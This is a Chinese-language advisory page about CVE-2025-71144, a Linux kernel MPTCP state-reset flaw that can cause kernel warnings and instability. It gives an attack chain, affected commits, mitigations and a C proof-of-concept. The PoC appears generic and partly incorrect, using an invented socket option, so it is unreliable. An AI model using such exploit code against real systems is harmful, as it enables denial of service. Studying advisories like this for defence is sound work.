IPBUF安全漏洞报告
English
CVE-2025-71144 CVSS 5.5 中危

CVE-2025-71144 Linux内核MPTCP协议上下文重置漏洞

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71144
漏洞类型
逻辑错误/状态管理漏洞
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel MPTCP

相关标签

CVE-2025-71144Linux KernelMPTCP状态管理漏洞本地提权内核漏洞网络协议栈中危漏洞上下文重置

漏洞概述

CVE-2025-71144是Linux内核中MPTCP(MultiPath TCP)协议的一个中等严重性漏洞。该漏洞存在于mptcp_disconnect()函数中,当MPC子流已经处于TCP_CLOSE状态或已回退到TCP时,mptcp_do_fastclose()会跳过设置send_fastclose标志,导致__mptcp_close_ssk()无法正确重置相关子流上下文。这种状态不一致会在后续连接创建时触发subflow_data_ready()函数中的内核警告。虽然该漏洞需要本地低权限用户触发,且不影响机密性和完整性,但会对系统可用性产生较高影响,可能导致内核警告或系统不稳定。

技术细节

该漏洞的根本原因在于MPTCP协议栈的状态管理逻辑缺陷。具体来说:

1. 在mptcp_disconnect()调用时,如果MPC子流已处于TCP_CLOSE状态或已回退到TCP,mptcp_do_fastclose()会跳过send_fastclose标志的设置

2. 由于send_fastclose标志未被设置,__mptcp_close_ssk()函数不会重置相关的子流上下文

3. 后续新建连接时,系统会使用错误的初始状态:request_mptcp标志为off,mptcp级别的fallback状态也被无条件清除

4. 这种状态不一致导致在subflow_data_ready()函数中触发WARNING,表现为内核堆栈跟踪和系统不稳定

修复方案需要在fastclose时显式设置一个fastclosing标志,并在mptcp_do_fastclose()之后检查该标志以确保正确重置子流上下文。攻击向量为本地低权限,需要本地访问权限但无需用户交互。

攻击链分析

STEP 1
步骤1
攻击者获取本地系统访问权限,创建MPTCP套接字
STEP 2
步骤2
通过特定操作使MPC子流进入TCP_CLOSE状态或触发TCP回退
STEP 3
步骤3
调用mptcp_disconnect()触发漏洞,此时mptcp_do_fastclose()跳过send_fastclose标志设置
STEP 4
步骤4
__mptcp_close_ssk()因缺少标志而不重置子流上下文,导致状态不一致
STEP 5
步骤5
后续MPTCP连接创建时,在subflow_data_ready()中触发内核WARNING
STEP 6
步骤6
可能导致系统不稳定或拒绝服务(高可用性影响)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2025-71144: MPTCP context reset on disconnect() * This module demonstrates the vulnerability by triggering the condition * where MPC subflow is in TCP_CLOSE state during mptcp_disconnect() * * Compile: gcc -o mptcp_poc mptcp_poc.c -lpthread * Run as root: ./mptcp_poc */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #define MPTCP_ENABLED 42 void trigger_mptcp_vulnerability() { int sock1, sock2; struct sockaddr_in addr; int optval = 1; printf("[*] Creating MPTCP socket (sock1)...\n"); sock1 = socket(AF_INET, SOCK_STREAM, IPPROTO_MPTCP); if (sock1 < 0) { /* Fallback to TCP if MPTCP not available */ sock1 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock1 < 0) { perror("[-] socket creation failed"); return; } printf("[!] MPTCP not available, using TCP\n"); } printf("[*] Setting socket options...\n"); setsockopt(sock1, IPPROTO_TCP, MPTCP_ENABLED, &optval, sizeof(optval)); printf("[*] Connecting to remote host...\n"); memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(80); inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr); if (connect(sock1, (struct sockaddr *)&addr, sizeof(addr)) < 0) { printf("[!] Connect failed (expected for PoC)\n"); } printf("[*] Closing socket (triggers mptcp_disconnect)...\n"); close(sock1); printf("[*] Creating another socket to trigger state inconsistency...\n"); sock2 = socket(AF_INET, SOCK_STREAM, IPPROTO_MPTCP); if (sock2 >= 0) { /* This connection may trigger the warning in subflow_data_ready */ printf("[*] Socket created, potential trigger of WARNING\n"); close(sock2); } printf("[*] PoC execution completed\n"); printf("[!] Check dmesg for kernel WARNING in subflow_data_ready\n"); } int main() { printf("=== CVE-2025-71144 MPTCP Context Reset PoC ===\n"); printf("[*] This PoC demonstrates the vulnerability condition\n"); printf("[*] Requires: Linux kernel with MPTCP support\n\n"); trigger_mptcp_vulnerability(); return 0; }

影响范围

Linux Kernel MPTCP submodule (commit 1c7c3a9314d8a7fc0e9a508606466a967c8e774a之前版本)
Linux Kernel MPTCP submodule (commit 226fff52e7ed9fc8cd63327133739b3d92537ffd之前版本)
Linux Kernel MPTCP submodule (commit 5c7c7135468f3fc6379cde9777a2c18bfe92d82f之前版本)
Linux Kernel MPTCP submodule (commit 86730ac255b0497a272704de9a1df559f5d6602e之前版本)
Linux Kernel MPTCP submodule (commit f1a77dfc3b045c3dd5f6e64189b9f52b90399f07之前版本)

防御指南

临时缓解措施
由于该漏洞位于内核协议栈层面,临时缓解措施有限。建议:1) 限制非特权用户创建MPTCP连接;2) 监控系统日志中的subflow_data_ready WARNING信息;3) 如业务不需要MPTCP功能,可考虑在内核编译时禁用MPTCP支持;4) 最重要的措施是等待官方安全更新并尽快打补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表